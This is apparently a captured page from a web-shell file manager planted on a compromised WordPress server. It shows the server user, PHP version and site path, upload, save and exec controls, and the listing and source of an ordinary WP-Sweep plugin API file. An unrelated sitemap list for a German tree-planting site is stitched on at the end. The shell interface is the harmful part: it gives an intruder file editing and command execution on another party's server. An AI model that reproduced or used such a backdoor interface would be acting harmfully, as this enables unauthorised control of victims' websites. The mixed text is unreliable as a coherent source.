WPR FM
uid=9814(b13i2mwmyrdbxio) php=8.4.28
info
cwd /data/sites/web/b13i2mwmyrdbxio/www |
naik
Buka
-
class-wp-sweep-admin.php
25393
x
-
class-wp-sweep-api.php
3887
x
-
class-wp-sweep-command.php
4222
x
-
class-wp-sweep-list-table.php
24560
x
-
class-wp-sweep.php
57055
x
-
index.php
60
x
Upload
Simpan
<?php /** * The REST API routes. * * @package WP-Sweep */ defined( 'ABSPATH' ) || exit; /** * Exposes count, details and sweep over the REST API. * * The namespace is the bare noun `sweep/v1` rather than the plugin slug. A * `wp-` prefix is a wordpress.org directory convention for keeping one * plugin's download page apart from another's; it says nothing about what the * plugin should call the things it registers, and the ecosystem names those * after the brand rather than the directory entry. It is also the namespace the * released 1.2.0 shipped, so no client that already talks to WP-Sweep has to be * edited. Another plugin can claim the same bare noun and WordPress will not * detect it; that is the accepted trade for a word as distinctive as `sweep`. */ class WP_Sweep_API { /** * The REST namespace every route is registered under. * * @var string */ const REST_NAMESPACE = 'sweep/v1'; /** * Register the routes once the REST API is up. */ public function __construct() { add_action( 'rest_api_init', array( $this, 'register_routes' ) ); } /** * Register the plugin's routes. * * @return void */ public function register_routes() { $name = array( 'name' => array( 'required' => true, 'validate_callback' => array( $this, 'is_sweep_name_valid' ), ), ); register_rest_route( self::REST_NAMESPACE, 'count/(?P<name>\w+)', array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'count' ), 'permission_callback' => array( $this, 'permission_check' ), 'args' => $name, ) ); register_rest_route( self::REST_NAMESPACE, 'details/(?P<name>\w+)', array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'details' ), 'permission_callback' => array( $this, 'permission_check' ), 'args' => $name, ) ); register_rest_route( self::REST_NAMESPACE, 'sweep/(?P<name>\w+)', array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'sweep' ), 'permission_callback' => array( $this, 'permission_check' ), 'args' => $name, ) ); } /** * How many items a sweep would remove. * * @param WP_REST_Request $request Request. * @return WP_REST_Response */ public function count( $request ) { $name = $request->get_param( 'name' ); return new WP_REST_Response( array( 'name' => $name, 'count' => (int) WP_Sweep::get_instance()->count( $name ), ) ); } /** * A sample of the items a sweep would remove. * * @param WP_REST_Request $request Request. * @return WP_REST_Response */ public function details( $request ) { $name = $request->get_param( 'name' ); $details = WP_Sweep::get_instance()->details( $name ); return new WP_REST_Response( array( 'name' => $name, 'count' => count( $details ), 'data' => $details, ) ); } /** * Run a sweep. * * @param WP_REST_Request $request Request. * @return WP_REST_Response */ public function sweep( $request ) { $name = $request->get_param( 'name' ); $results = WP_Sweep::get_instance()->sweep( $name ); return new WP_REST_Response( array( 'success' => ! empty( $results ), 'name' => $name, 'message' => empty( $results ) ? __( 'No items left to sweep.', 'wp-sweep' ) : $results, ) ); } /** * Whether a sweep name is one this plugin implements. * * @param string $name Sweep name. * @return bool */ public function is_sweep_name_valid( $name ) { return WP_Sweep::get_instance()->is_sweep_name_valid( $name ); } /** * Whether the caller may sweep. * * @return bool */ public function permission_check() { return current_user_can( WP_Sweep::capability( 'rest' ) ); } }
Exec
https://plant-my-tree.de/post-sitemap1.xml
2026-11-20T10:18:25+01:00
https://plant-my-tree.de/page-sitemap1.xml
2026-12-03T12:53:57+01:00
https://plant-my-tree.de/lp-sitemap1.xml
2026-12-02T08:42:41+01:00
https://plant-my-tree.de/ratgeber-sitemap1.xml
2026-11-24T10:16:19+01:00
https://plant-my-tree.de/aufforstungsflachen-sitemap1.xml
2026-11-23T12:04:20+01:00
https://plant-my-tree.de/blog-sitemap1.xml
2026-11-24T09:10:09+01:00
https://plant-my-tree.de/category-sitemap1.xml
https://plant-my-tree.de/post_tag-sitemap1.xml